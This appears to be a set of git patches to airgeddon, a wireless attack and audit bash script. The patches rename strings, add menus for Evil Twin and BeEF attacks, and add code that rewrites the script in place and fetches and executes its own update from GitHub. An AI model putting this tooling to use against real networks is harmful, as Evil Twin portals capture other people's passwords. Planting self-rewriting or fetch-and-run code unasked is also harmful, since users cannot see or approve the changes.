+ et_misc_texts["FRENCH",19]="airgeddon. Mot de passe capturé par le portail captif de l'attaque Evil Twin" + et_misc_texts["CATALAN",19]="airgeddon. Contrasenya capturada al portal captiu de l'atac Evil Twin" + et_misc_texts["PORTUGUESE",19]="airgeddon. Senha capturada no ataque Evil Twin portal cativo" + et_misc_texts["RUSSIAN",19]="airgeddon. Атака Злой Двойник + Перехватывающий портал захватили пароль" + et_misc_texts["GREEK",19]="airgeddon. Η επίθεση Evil Twin με captive portal κατέγραψε τον κωδικό πρόσβασης" et_misc_texts["ENGLISH",20]="Attempts" et_misc_texts["SPANISH",20]="Intentos" @@ -1333,12 +1333,12 @@ function language_strings() { arr["RUSSIAN",100]="Параметры Michael Shutdown" arr["GREEK",100]="Παράμετροι Michael Shutdown" - arr["ENGLISH",101]="Airgeddon main menu" + arr["ENGLISH",101]="airgeddon main menu" arr["SPANISH",101]="Menú principal airgeddon" arr["FRENCH",101]="Menu principal d'airgeddon" arr["CATALAN",101]="Menú principal airgeddon" arr["PORTUGUESE",101]="Menu principal airgeddon" - arr["RUSSIAN",101]="Главное меню Airgeddon" + arr["RUSSIAN",101]="Главное меню airgeddon" arr["GREEK",101]="Αρχικό μενού airgeddon" arr["ENGLISH",102]="DoS attacks menu" @@ -2053,12 +2053,12 @@ function language_strings() { arr["RUSSIAN",190]="Начало расшифровки. После запуска, нажмите [Ctrl+C] для остановки..." arr["GREEK",190]="Γίνεται έναρξη αποκρυπτογράφησης. Όταν ξεκινήσει, πατήστε [Ctrl+C] για να σταματήσει..." - arr["ENGLISH",191]="Airgeddon can't find the directory path where you have BeEF installed. Do you want to enter it manually? ${normal_color}[y/n]" - arr["SPANISH",191]="Airgeddon no ha podido encontrar la ruta del directorio donde tienes instalado BeEF. ¿Quieres introducirla manualmente? ${normal_color}[y/n]" - arr["FRENCH",191]="${pending_of_translation} Airgeddon n'a pas pu trouver le chemin vers le répertoire où vous avez installé BeEF. Voulez-vous entrer manuellement? ${normal_color}[y/n]" - arr["CATALAN",191]="${pending_of_translation} Airgeddon no ha pogut trobar la ruta del directori on tens instal·lat BeEF. ¿Vols introduir-la manualment? ${normal_color}[y/n]" - arr["PORTUGUESE",191]="${pending_of_translation} Airgeddon não conseguiu encontrar o caminho para o diretório onde você instalou BeEF. Você quer inseri-lo manualmente? ${normal_color}[y/n]" - arr["RUSSIAN",191]="${pending_of_translation} Airgeddon не может найти путь к каталогу, где вы установили BeEF. Вы хотите, чтобы ввести его вручную? ${normal_color}[y/n]" + arr["ENGLISH",191]="airgeddon can't find the directory path where you have BeEF installed. Do you want to enter it manually? ${normal_color}[y/n]" + arr["SPANISH",191]="airgeddon no ha podido encontrar la ruta del directorio donde tienes instalado BeEF. ¿Quieres introducirla manualmente? ${normal_color}[y/n]" + arr["FRENCH",191]="${pending_of_translation} airgeddon n'a pas pu trouver le chemin vers le répertoire où vous avez installé BeEF. Voulez-vous entrer manuellement? ${normal_color}[y/n]" + arr["CATALAN",191]="${pending_of_translation} airgeddon no ha pogut trobar la ruta del directori on tens instal·lat BeEF. ¿Vols introduir-la manualment? ${normal_color}[y/n]" + arr["PORTUGUESE",191]="${pending_of_translation} airgeddon não conseguiu encontrar o caminho para o diretório onde você instalou BeEF. Você quer inseri-lo manualmente? ${normal_color}[y/n]" + arr["RUSSIAN",191]="${pending_of_translation} airgeddon не может найти путь к каталогу, где вы установили BeEF. Вы хотите, чтобы ввести его вручную? ${normal_color}[y/n]" arr["GREEK",191]="Το airgeddon δεν μπορεί να βρει το μονοπάτι για τον κατάλογο όπου έχετε εγκαταστημένο το BeEF. Θέλετε να το εισάγετε χειροκίνητα; ${normal_color}[y/n]" arr["ENGLISH",192]="You already have selected a BSSID during this session and is present in capture file [${normal_color}${bssid}${blue_color}]" @@ -3789,12 +3789,12 @@ function language_strings() { arr["RUSSIAN",407]="${pending_of_translation} подготовка BeEF" arr["GREEK",407]="Προετοιμασία του BeEF" - arr["ENGLISH",408]="If you installed BeEF manually, Airgeddon might not be able to find it and the attack option can appear as restricted. You can try to solve it using the special menu option to fix this. It will work only if BeEF is already correctly installed and your unique problem is the script is not detecting it" - arr["SPANISH",408]="Si instalaste BeEF manualmente, puede que Airgeddon no sea capaz de encontrarlo y la opción del ataque te aparezca restringida. Puedes intentar solucionarlo usando la opción del menú especial para ello. Esto sólo funcionará si BeEF ya está instalado correctamente y el único problema que tienes es que el script no lo detecta" - arr["FRENCH",408]="Si BeEF a été installé manuellement, il se peut qu'Airgeddon ne soit pas en mesure de le trouver. L'option dédiée ne sera pas accessible. Vous pouvez essayer de la réparer en utilisant l'option consacrée à cette tâche depuis le menu spécial. Ça ne marchera que si Beef est correctement instalé et c'est le script qui n'est pas capable de le détecter" - arr["CATALAN",408]="${pending_of_translation} Si vas instal·lar BeEF manualment, pot ser que Airgeddon no sigui capaç de trobar-lo i l'opció de l'atac t'aparegui restringida. Pots intentar solucionar-usant l'opció del menú especial per a això. Això només funcionarà si BeEF ja està instal·lat correctament i l'únic problema que tens és que el script no el detecta" - arr["PORTUGUESE",408]="${pending_of_translation} Se BeEF instalado manualmente, você pode não Airgeddon ser capaz de encontrar e opção de ataque aparecerá restrito. Você pode tentar corrigi-lo usando a opção de menu especial para isso. Isso só vai funcionar se BeEF já está instalado com êxito e o único problema que você tem é que o script não detecta" - arr["RUSSIAN",408]="${pending_of_translation} Если вы установили вручную BeEF, Airgeddon может быть не в состоянии найти это и вариант атаки может появиться как ограничено. Вы можете попытаться решить эту проблему с помощью специального пункта меню, чтобы исправить это. Она будет работать только если BeEF уже установлен правильно, и ваша единственная проблема, это скрипт не обнаруживает его" + arr["ENGLISH",408]="If you installed BeEF manually, airgeddon might not be able to find it and the attack option can appear as restricted. You can try to solve it using the special menu option to fix this. It will work only if BeEF is already correctly installed and your unique problem is the script is not detecting it" + arr["SPANISH",408]="Si instalaste BeEF manualmente, puede que airgeddon no sea capaz de encontrarlo y la opción del ataque te aparezca restringida. Puedes intentar solucionarlo usando la opción del menú especial para ello. Esto sólo funcionará si BeEF ya está instalado correctamente y el único problema que tienes es que el script no lo detecta" + arr["FRENCH",408]="Si BeEF a été installé manuellement, il se peut qu'airgeddon ne soit pas en mesure de le trouver. L'option dédiée ne sera pas accessible. Vous pouvez essayer de la réparer en utilisant l'option consacrée à cette tâche depuis le menu spécial. Ça ne marchera que si BeEf est correctement instalé et c'est le script qui n'est pas capable de le détecter" + arr["CATALAN",408]="${pending_of_translation} Si vas instal·lar BeEF manualment, pot ser que airgeddon no sigui capaç de trobar-lo i l'opció de l'atac t'aparegui restringida. Pots intentar solucionar-usant l'opció del menú especial per a això. Això només funcionarà si BeEF ja està instal·lat correctament i l'únic problema que tens és que el script no el detecta" + arr["PORTUGUESE",408]="${pending_of_translation} Se BeEF instalado manualmente, você pode não airgeddon ser capaz de encontrar e opção de ataque aparecerá restrito. Você pode tentar corrigi-lo usando a opção de menu especial para isso. Isso só vai funcionar se BeEF já está instalado com êxito e o único problema que você tem é que o script não detecta" + arr["RUSSIAN",408]="${pending_of_translation} Если вы установили вручную BeEF, airgeddon может быть не в состоянии найти это и вариант атаки может появиться как ограничено. Вы можете попытаться решить эту проблему с помощью специального пункта меню, чтобы исправить это. Она будет работать только если BeEF уже установлен правильно, и ваша единственная проблема, это скрипт не обнаруживает его" arr["GREEK",408]="Εάν έχετε εγκαταστήσει χειροκίνητα το BeEF, το airgeddon μπορεί να μην μπορέσει να το βρεί και η επιλογή της επίθεσης μπορεί να φαίνεται περιορισμένη. Μπορείτε να προσπαθήσετε να διορθώσετε το πρόβλημα κάνοντας χρήση της ειδικής επιλογής στο μενού. Θα λειτουργήσει μόνο αν το BeEF έχει ήδη εγκατασταθεί σωστά και το μόνο πρόβλημά είναι ότι το script δεν το εντοπίζει" arr["ENGLISH",409]="1. Evil Twin AP attack with sniffing and bettercap-sslstrip2/BeEF" @@ -3829,12 +3829,12 @@ function language_strings() { arr["RUSSIAN",412]="${pending_of_translation} Вам не нужно, чтобы выполнить это действие. Ваш BeEF находится в рабочем состоянии" arr["GREEK",412]="Δεν χρειάζεται να εκτελέσετε αυτήν την ενέργεια. Το BeEF λειτουργεί κανονικά" - arr["ENGLISH",413]="Airgeddon fixed the problem. Your BeEF is operational" - arr["SPANISH",413]="Airgeddon ha solucionado el problema. Tu BeEF está operativo" - arr["FRENCH",413]="Airgeddon a résolu le problème. BeEF est opérationnel" - arr["CATALAN",413]="${pending_of_translation} Airgeddon ha solucionat el problema. El teu BeEF està operatiu" - arr["PORTUGUESE",413]="${pending_of_translation} Airgeddon corrigiu o problema. Suo BeEF está operacional" - arr["RUSSIAN",413]="${pending_of_translation} Airgeddon устранило проблему. Ваш BeEF находится в рабочем состоянии" + arr["ENGLISH",413]="airgeddon fixed the problem. Your BeEF is operational" + arr["SPANISH",413]="airgeddon ha solucionado el problema. Tu BeEF está operativo" + arr["FRENCH",413]="airgeddon a résolu le problème. BeEF est opérationnel" + arr["CATALAN",413]="${pending_of_translation} airgeddon ha solucionat el problema. El teu BeEF està operatiu" + arr["PORTUGUESE",413]="${pending_of_translation} airgeddon corrigiu o problema. Suo BeEF está operacional" + arr["RUSSIAN",413]="${pending_of_translation} airgeddon устранило проблему. Ваш BeEF находится в рабочем состоянии" arr["GREEK",413]="Το airgeddon διόρθωσε το πρόβλημα. Το BeEF λειτουργεί κανονικά" arr["ENGLISH",414]="You don't have curl installed. Is not possible to download PINs database file" @@ -5679,7 +5679,7 @@ function print_hint() { print_simple_separator } -#Airgeddon main menu +#airgeddon main menu function main_menu() { clear @@ -5872,7 +5872,7 @@ function evil_twin_attacks_menu() { evil_twin_attacks_menu } -#BeEF pre attack menu +#beef pre attack menu function beef_pre_menu() { if [ ${return_to_et_main_menu_from_beef} -eq 1 ]; then @@ -8185,7 +8185,7 @@ function set_beef_config() { { echo -e "beef:" - echo -e " version: 'Airgeddon integrated'" + echo -e " version: 'airgeddon integrated'" echo -e " debug: false" echo -e " client_debug: false" echo -e " crypto_default_value_length: 80" @@ -8277,7 +8277,7 @@ function detect_fake_beef() { done } -#Search for BeEF path +#Search for beef path function search_for_beef() { if [ "${beef_found}" -eq 0 ]; then @@ -8291,7 +8291,7 @@ function search_for_beef() { fi } -#Prepare system to work with BeEF +#Prepare system to work with beef function prepare_beef_start() { valid_possible_beef_path=0 From 2d89cf997a71cc152fd6c45ea81e18f58fe63636 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Fri, 20 Jan 2017 20:22:42 +0100 Subject: [PATCH 36/55] Option to manage custom BeEF location if manually installed and not found. Script polymorphism rewriting itself to make it persistent even after updates --- CHANGELOG.md | 1 + airgeddon.sh | 160 ++++++++++++++++++++++++++++++++------------------- 2 files changed, 103 insertions(+), 58 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 2797decbd..e4885bf84 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,6 +1,7 @@ ###6.0 - New system for possible tool aliases checking the requirements - Evil Twin attack added: Bettercap-Sslstrip2 and BeEF browser exploitation framework + - Option to manage custom BeEF location if manually installed and not found. Script polymorphism rewriting itself to make it persistent even after updates - README.md beautified - Colors changed. Now blocking errors in red - License and changelog files updated to markdown format diff --git a/airgeddon.sh b/airgeddon.sh index 805ebd501..3a9a23b9f 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -187,6 +187,7 @@ possible_beef_known_locations=( "/usr/share/beef/" "/usr/share/beef-xss/" "/opt/beef/" + #Custom BeEF location (set=0) ) #Distros vars @@ -2053,13 +2054,13 @@ function language_strings() { arr["RUSSIAN",190]="Начало расшифровки. После запуска, нажмите [Ctrl+C] для остановки..." arr["GREEK",190]="Γίνεται έναρξη αποκρυπτογράφησης. Όταν ξεκινήσει, πατήστε [Ctrl+C] για να σταματήσει..." - arr["ENGLISH",191]="airgeddon can't find the directory path where you have BeEF installed. Do you want to enter it manually? ${normal_color}[y/n]" - arr["SPANISH",191]="airgeddon no ha podido encontrar la ruta del directorio donde tienes instalado BeEF. ¿Quieres introducirla manualmente? ${normal_color}[y/n]" - arr["FRENCH",191]="${pending_of_translation} airgeddon n'a pas pu trouver le chemin vers le répertoire où vous avez installé BeEF. Voulez-vous entrer manuellement? ${normal_color}[y/n]" - arr["CATALAN",191]="${pending_of_translation} airgeddon no ha pogut trobar la ruta del directori on tens instal·lat BeEF. ¿Vols introduir-la manualment? ${normal_color}[y/n]" - arr["PORTUGUESE",191]="${pending_of_translation} airgeddon não conseguiu encontrar o caminho para o diretório onde você instalou BeEF. Você quer inseri-lo manualmente? ${normal_color}[y/n]" - arr["RUSSIAN",191]="${pending_of_translation} airgeddon не может найти путь к каталогу, где вы установили BeEF. Вы хотите, чтобы ввести его вручную? ${normal_color}[y/n]" - arr["GREEK",191]="Το airgeddon δεν μπορεί να βρει το μονοπάτι για τον κατάλογο όπου έχετε εγκαταστημένο το BeEF. Θέλετε να το εισάγετε χειροκίνητα; ${normal_color}[y/n]" + arr["ENGLISH",191]="${blue_color}airgeddon can't find the directory path where you have BeEF installed. ${green_color}Do you want to enter it manually? ${normal_color}[y/n]" + arr["SPANISH",191]="${blue_color}airgeddon no ha podido encontrar la ruta del directorio donde tienes instalado BeEF. ${green_color}¿Quieres introducirla manualmente? ${normal_color}[y/n]" + arr["FRENCH",191]="${pending_of_translation} ${blue_color}airgeddon n'a pas pu trouver le chemin vers le répertoire où vous avez installé BeEF. ${green_color}Voulez-vous entrer manuellement? ${normal_color}[y/n]" + arr["CATALAN",191]="${pending_of_translation} ${blue_color}airgeddon no ha pogut trobar la ruta del directori on tens instal·lat BeEF. ${green_color}¿Vols introduir-la manualment? ${normal_color}[y/n]" + arr["PORTUGUESE",191]="${pending_of_translation} ${blue_color}airgeddon não conseguiu encontrar o caminho para o diretório onde você instalou BeEF. ${green_color}Você quer inseri-lo manualmente? ${normal_color}[y/n]" + arr["RUSSIAN",191]="${pending_of_translation} ${blue_color}airgeddon не может найти путь к каталогу, где вы установили BeEF. ${green_color}Вы хотите, чтобы ввести его вручную? ${normal_color}[y/n]" + arr["GREEK",191]="${blue_color}Το airgeddon δεν μπορεί να βρει το μονοπάτι για τον κατάλογο όπου έχετε εγκαταστημένο το BeEF. ${green_color}Θέλετε να το εισάγετε χειροκίνητα; ${normal_color}[y/n]" arr["ENGLISH",192]="You already have selected a BSSID during this session and is present in capture file [${normal_color}${bssid}${blue_color}]" arr["SPANISH",192]="Ya tienes seleccionado un BSSID en esta sesión y está presente en el fichero de captura [${normal_color}${bssid}${blue_color}]" @@ -3845,6 +3846,14 @@ function language_strings() { arr["RUSSIAN",414]="${pending_of_translation} У вас не установлен curl. Не возможно загрузить файл базы данных PINs" arr["GREEK",414]="Το curl δεν είναι εγκατεστημένο. Είναι αδύνατον να κατέβει το αρχείο με την βάση δεδομένων PIN" + arr["ENGLISH",415]="${blue_color}airgeddon knows you have BeEF installed and you pass the validation, but it wasn't unable to locate the right directory path where you have BeEF installed. To know it has some advantages for the execution because its configuration file can be customized instead of generic. ${green_color}Do you want to enter it manually? ${normal_color}[y/n]" + arr["SPANISH",415]="${blue_color}airgeddon sabe que tienes BeEF instalado y pasas la validación, pero no ha podido concretar la ruta del directorio exacto donde tienes instalado BeEF. Conocer la localización exacta tiene algunas ventajas a la hora de ejecutarlo ya que la configuración será personalizada en lugar de ser una configuración genérica. ${green_color}¿Quieres introducirla manualmente? ${normal_color}[y/n]" + arr["FRENCH",415]="${pending_of_translation} ${blue_color}airgeddon sait que vous avez installé BeEF et les raisins secs validation, mais n'a pas pu indiquer le chemin exact du répertoire où vous avez installé BeEF. Connaître l'emplacement exact a certains avantages lors de l'exécution depuis la configuration sera personnalisée plutôt qu'une configuration générique. ${green_color}Voulez-vous entrer manuellement? ${normal_color}[y/n]" + arr["CATALAN",415]="${pending_of_translation} ${blue_color}airgeddon sap que tens BeEF instal·lat i passes la validació, però no ha pogut concretar la ruta del directori exacte on has instal·lat BeEF. Conèixer la localització exacta té alguns avantatges a l'hora d'executar ja que la configuració serà personalitzada en lloc de ser una configuració genèrica. ${green_color}¿Vols introduir-la manualment? ${normal_color}[y/n]" + arr["PORTUGUESE",415]="${pending_of_translation} ${blue_color}airgeddon sabe que você instalou validação BeEF, mas não pôde especificar o caminho exato para o diretório onde você instalou BeEF. Sabendo a localização exacta tem algumas vantagens quando executá-lo desde a configuração será personalizada em vez de uma configuração genérica. ${green_color}Você quer inseri-lo manualmente? ${normal_color}[y/n]" + arr["RUSSIAN",415]="${pending_of_translation} ${blue_color}airgeddon знает вас установлен BeEF и вы проходите проверку, но это было не в состоянии найти правильный путь к каталогу, где вы установили BeEF. Для того, чтобы знать, что имеет некоторые преимущества для выполнения, так как его конфигурационный файл может быть изменен, а не общий характер. ${green_color}Вы хотите, чтобы ввести его вручную? ${normal_color}[y/n]" + arr["GREEK",415]="${pending_of_translation} ${blue_color}airgeddon ξέρει έχετε εγκατεστημένο το BeEF και να περάσει την επικύρωση, αλλά δεν ήταν σε θέση να εντοπίσει το σωστό δρόμο κατάλογο όπου έχετε εγκαταστήσει το BeEF σας. Να ξέρετε ότι έχει κάποια πλεονεκτήματα για την εκτέλεση επειδή αρχείο ρυθμίσεων του μπορεί να προσαρμοστεί αντί των γενόσημων. ${green_color}Θέλετε να το εισάγετε με το χέρι; ${normal_color}[y/n]" + case "${3}" in "yellow") interrupt_checkpoint "${2}" "${3}" @@ -6087,9 +6096,7 @@ function wps_attacks_menu() { wps_attack="pindb_bully" get_bully_version set_bully_verbosity - if [ -z "${scriptfolder}" ]; then - set_script_folder_and_name - fi + set_script_folder_and_name db_error=0 if [[ ${pin_dbfile_checked} -eq 0 ]] || [[ ! -f "${scriptfolder}${known_pins_dbfile}" ]]; then @@ -6123,9 +6130,7 @@ function wps_attacks_menu() { else wps_attack="pindb_reaver" get_reaver_version - if [ -z "${scriptfolder}" ]; then - set_script_folder_and_name - fi + set_script_folder_and_name db_error=0 if [[ ${pin_dbfile_checked} -eq 0 ]] || [[ ! -f "${scriptfolder}${known_pins_dbfile}" ]]; then @@ -8299,39 +8304,7 @@ function prepare_beef_start() { language_strings "${language}" 405 "blue" ask_yesno 191 if [ ${yesno} = "y" ]; then - - while [[ "${valid_possible_beef_path}" != "1" ]]; do - echo - language_strings "${language}" 402 "green" - read -r manually_entered_beef_path - if [ -n "${manually_entered_beef_path}" ]; then - lastcharmanually_entered_beef_path=${manually_entered_beef_path: -1} - if [ "${lastcharmanually_entered_beef_path}" != "/" ]; then - manually_entered_beef_path="${manually_entered_beef_path}/" - fi - - firstcharmanually_entered_beef_path=${manually_entered_beef_path:0:1} - if [ "${firstcharmanually_entered_beef_path}" != "/" ]; then - language_strings "${language}" 404 "red" - else - if [ -d "${manually_entered_beef_path}" ]; then - if [ -f "${manually_entered_beef_path}beef" ]; then - head "${manually_entered_beef_path}beef" -n 1 2> /dev/null| grep ruby > /dev/null - if [ "$?" = "0" ]; then - possible_beef_known_locations+=(${manually_entered_beef_path}) - valid_possible_beef_path=1 - else - language_strings "${language}" 406 "red" - fi - else - language_strings "${language}" 406 "red" - fi - else - language_strings "${language}" 403 "red" - fi - fi - fi - done + manual_beef_set search_for_beef fi @@ -8350,12 +8323,57 @@ function prepare_beef_start() { language_strings "${language}" 413 "yellow" language_strings "${language}" 115 "read" elif [[ "${beef_found}" -eq 0 ]] && [[ ${optional_tools[${optional_tools_names[19]}]} -eq 1 ]]; then - echo - language_strings "${language}" 412 "red" - language_strings "${language}" 115 "read" + language_strings "${language}" 405 "blue" + ask_yesno 415 + if [ ${yesno} = "y" ]; then + manual_beef_set + search_for_beef + if [ ${beef_found} -eq 1 ]; then + echo + language_strings "${language}" 413 "yellow" + language_strings "${language}" 115 "read" + fi + fi fi } +#Set beef path manually +function manual_beef_set() { + + while [[ "${valid_possible_beef_path}" != "1" ]]; do + echo + language_strings "${language}" 402 "green" + read -r manually_entered_beef_path + if [ -n "${manually_entered_beef_path}" ]; then + lastcharmanually_entered_beef_path=${manually_entered_beef_path: -1} + if [ "${lastcharmanually_entered_beef_path}" != "/" ]; then + manually_entered_beef_path="${manually_entered_beef_path}/" + fi + + firstcharmanually_entered_beef_path=${manually_entered_beef_path:0:1} + if [ "${firstcharmanually_entered_beef_path}" != "/" ]; then + language_strings "${language}" 404 "red" + else + if [ -d "${manually_entered_beef_path}" ]; then + if [ -f "${manually_entered_beef_path}beef" ]; then + head "${manually_entered_beef_path}beef" -n 1 2> /dev/null| grep ruby > /dev/null + if [ "$?" = "0" ]; then + possible_beef_known_locations+=(${manually_entered_beef_path}) + valid_possible_beef_path=1 + else + language_strings "${language}" 406 "red" + fi + else + language_strings "${language}" 406 "red" + fi + else + language_strings "${language}" 403 "red" + fi + fi + fi + done +} + #Fix for not found beef executable function fix_beef_executable() { @@ -8367,6 +8385,28 @@ function fix_beef_executable() { } >> "/usr/bin/beef" chmod +x "/usr/bin/beef" > /dev/null 2>&1 optional_tools[${optional_tools_names[19]}]=1 + + rewrite_script_with_custom_beef "set" "${1}" +} + +#Rewrite airgeddon script in a polymorphic way adding custom beef location to array to get persistence +function rewrite_script_with_custom_beef() { + + set_script_folder_and_name + + case ${1} in + "set") + local sed_path=${2//\//\\/} + sed -i "s/#[C]ustom BeEF location (set=0)/\"${sed_path}\" #Custom BeEF location (set=1)/" "${scriptfolder}${scriptname}" 2> /dev/null + chmod +x "${scriptfolder}${scriptname}" > /dev/null 2>&1 + ;; + "search") + beef_custom_path_line=$(cat < "${scriptfolder}${scriptname}" 2> /dev/null | grep "#Custom BeEF location (set=1)" | grep -v "/dev/null" 2> /dev/null) + if [ -n "${beef_custom_path_line}" ]; then + [[ ${beef_custom_path_line} =~ \"(.*)\" ]] && beef_custom_path="${BASH_REMATCH[1]}" + fi + ;; + esac } #Start beef process as a service @@ -10174,18 +10214,20 @@ function validate_reaver_pixiewps_version() { return 1 } -#Set the script folder var +#Set the script folder var if necessary function set_script_folder_and_name() { - scriptfolder=${0} + if [ -z "${scriptfolder}" ]; then + scriptfolder=${0} - if ! [[ ${0} =~ ^/.*$ ]]; then - if ! [[ ${0} =~ ^.*/.*$ ]]; then - scriptfolder="./" + if ! [[ ${0} =~ ^/.*$ ]]; then + if ! [[ ${0} =~ ^.*/.*$ ]]; then + scriptfolder="./" + fi fi + scriptfolder="${scriptfolder%/*}/" + scriptname="${0##*/}" fi - scriptfolder="${scriptfolder%/*}/" - scriptname="${0##*/}" } #Check if pins database file exist and try to download the new one if proceed @@ -11036,14 +11078,16 @@ function compare_floats_greater_or_equal() { #Update and relaunch the script function download_last_version() { + rewrite_script_with_custom_beef "search" timeout -s SIGTERM 15 curl -L ${urlscript_directlink} -s -o "${0}" if [ "$?" = "0" ]; then echo language_strings "${language}" 214 "yellow" - set_script_folder_and_name - chmod +x "${scriptfolder}${scriptname}" > /dev/null 2>&1 + if [ -n "${beef_custom_path}" ]; then + rewrite_script_with_custom_beef "set" "${beef_custom_path}" + fi language_strings "${language}" 115 "read" exec "${scriptfolder}${scriptname}" else From cf2a055ac5392ae3c5c0ef98d890536dce8bade8 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Fri, 20 Jan 2017 20:36:18 +0100 Subject: [PATCH 37/55] Changed branch var in order to test polimorphism. Added TODO as a reminder to restore it. --- airgeddon.sh | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/airgeddon.sh b/airgeddon.sh index 3a9a23b9f..3de6334da 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -126,7 +126,9 @@ timeout_secs_per_pixiedust="30" #Repository and contact vars github_user="v1s1t0r1sh3r3" github_repository="airgeddon" -branch="master" +#TODO change the branch before pull request. This is to test polymorphism +branch="v6" +#branch="master" script_filename="airgeddon.sh" urlgithub="https://github.com/${github_user}/${github_repository}" urlscript_directlink="https://raw.githubusercontent.com/${github_user}/${github_repository}/${branch}/${script_filename}" From 93d07fc81bfd09e930e3735bb0c1e28ecb19d9b0 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Fri, 20 Jan 2017 21:01:28 +0100 Subject: [PATCH 38/55] Fix the very weird case of having a BeEF executable file in path and airgeddon is not finding the right place where beef is installed --- airgeddon.sh | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/airgeddon.sh b/airgeddon.sh index 3de6334da..c2feb403f 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -8330,7 +8330,8 @@ function prepare_beef_start() { if [ ${yesno} = "y" ]; then manual_beef_set search_for_beef - if [ ${beef_found} -eq 1 ]; then + if [[ ${beef_found} -eq 1 ]] && [[ ${valid_possible_beef_path} -eq 1 ]]; then + rewrite_script_with_custom_beef "set" "${manually_entered_beef_path}" echo language_strings "${language}" 413 "yellow" language_strings "${language}" 115 "read" From 4aaa287da05bdf5535543e8b35213f2ace9cfa71 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Sat, 21 Jan 2017 12:59:44 +0100 Subject: [PATCH 39/55] Beautified BeEF pre menu for the weird case of having a BeEF executable file in path and airgeddon is not finding the right place where beef is installed --- airgeddon.sh | 27 +++++++++++++++++++++++++-- 1 file changed, 25 insertions(+), 2 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index c2feb403f..7cede46bb 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -126,7 +126,7 @@ timeout_secs_per_pixiedust="30" #Repository and contact vars github_user="v1s1t0r1sh3r3" github_repository="airgeddon" -#TODO change the branch before pull request. This is to test polymorphism +#TODO change the branch before pull request. This is to test polymorphism updating against v6 branch branch="v6" #branch="master" script_filename="airgeddon.sh" @@ -3856,6 +3856,14 @@ function language_strings() { arr["RUSSIAN",415]="${pending_of_translation} ${blue_color}airgeddon знает вас установлен BeEF и вы проходите проверку, но это было не в состоянии найти правильный путь к каталогу, где вы установили BeEF. Для того, чтобы знать, что имеет некоторые преимущества для выполнения, так как его конфигурационный файл может быть изменен, а не общий характер. ${green_color}Вы хотите, чтобы ввести его вручную? ${normal_color}[y/n]" arr["GREEK",415]="${pending_of_translation} ${blue_color}airgeddon ξέρει έχετε εγκατεστημένο το BeEF και να περάσει την επικύρωση, αλλά δεν ήταν σε θέση να εντοπίσει το σωστό δρόμο κατάλογο όπου έχετε εγκαταστήσει το BeEF σας. Να ξέρετε ότι έχει κάποια πλεονεκτήματα για την εκτέλεση επειδή αρχείο ρυθμίσεων του μπορεί να προσαρμοστεί αντί των γενόσημων. ${green_color}Θέλετε να το εισάγετε με το χέρι; ${normal_color}[y/n]" + arr["ENGLISH",416]=" You can run BeEF, but it is better if you run the second option before" + arr["SPANISH",416]=" Puedes ejecutar BeEF, pero es recomendable ejecutar la segunda opción antes" + arr["FRENCH",416]="${pending_of_translation} Vous pouvez exécuter BeEF, mais il est recommandé d'exécuter la deuxième option de menu avant" + arr["CATALAN",416]="${pending_of_translation} Pots executar BeEF, però és recomanable executar la segona opció del menú abans" + arr["PORTUGUESE",416]="${pending_of_translation} Você pode executar BeEF, mas é recomendado para executar a segunda opção de menu antes" + arr["RUSSIAN",416]="${pending_of_translation} Вы можете запустить BeEF, но это лучше, если вы запустите второй вариант перед" + arr["GREEK",416]="${pending_of_translation} Μπορείτε να εκτελέσετε το BeEF, αλλά είναι καλύτερα αν εκτελέσετε τη δεύτερη επιλογή πριν" + case "${3}" in "yellow") interrupt_checkpoint "${2}" "${3}" @@ -3895,6 +3903,9 @@ function language_strings() { "separator") generate_dynamic_line "${arr[${1},${2}]}" "separator" ;; + "warning") + echo_yellow "${arr[${1},${2}]}" + ;; "under_construction") echo_red_slim "${arr[${1},${2}]} (${under_constructionvar})" ;; @@ -5899,7 +5910,19 @@ function beef_pre_menu() { echo language_strings "${language}" 47 "green" print_simple_separator - language_strings "${language}" 409 et_sniffing_sslstrip2_dependencies[@] + + if [[ "${beef_found}" -eq 0 ]] && [[ ${optional_tools[${optional_tools_names[19]}]} -eq 1 ]]; then + if [[ ${optional_tools[${optional_tools_names[5]}]} -eq 1 ]] && [[ ${optional_tools[${optional_tools_names[6]}]} -eq 1 ]] && [[ ${optional_tools[${optional_tools_names[7]}]} -eq 1 ]] && [[ ${optional_tools[${optional_tools_names[18]}]} -eq 1 ]]; then + language_strings "${language}" 409 "warning" + language_strings "${language}" 416 "pink" + else + language_strings "${language}" 409 et_sniffing_sslstrip2_dependencies[@] + fi + else + language_strings "${language}" 409 et_sniffing_sslstrip2_dependencies[@] + fi + + print_simple_separator language_strings "${language}" 410 print_simple_separator language_strings "${language}" 411 From 9a7cdfde448bbe0c5bcfada7db95cab584f9d6cc Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Sun, 22 Jan 2017 14:38:54 +0100 Subject: [PATCH 40/55] Some changes on Readme.md --- README.md | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 59922fe6f..be43ca535 100644 --- a/README.md +++ b/README.md @@ -84,7 +84,10 @@ We will enumerate the categories and tools. The command can be included in diffe | iptables | iptables | // | bully | bully | | bettercap | bettercap | // | pixiewps | pixiewps | | beef | beef / beef-xss | // | unbuffer | expect / expect-dev | -**Important tip about BeEF** -> The beef software you must install is BeEF (Browser Exploitation Framework). Be careful, Don't confuse with beef (Flexible Brainfuck interpreter). This package has the same name, same executable file name and can lead to confusion. Here is a link to the "good" one installation's page: [BeEF Installation](https://github.com/beefproject/beef/wiki/Installation). + +**Important tips about BeEF** + - The beef software you must install is BeEF (Browser Exploitation Framework). Be careful, don't confuse with beef (Flexible Brainfuck interpreter). This package has the same name, same executable file name and can lead to confusion. Anyway, airgeddon is able to detect this and show you a warning if needed. Here is a link to the right BeEF installation's page: [BeEF 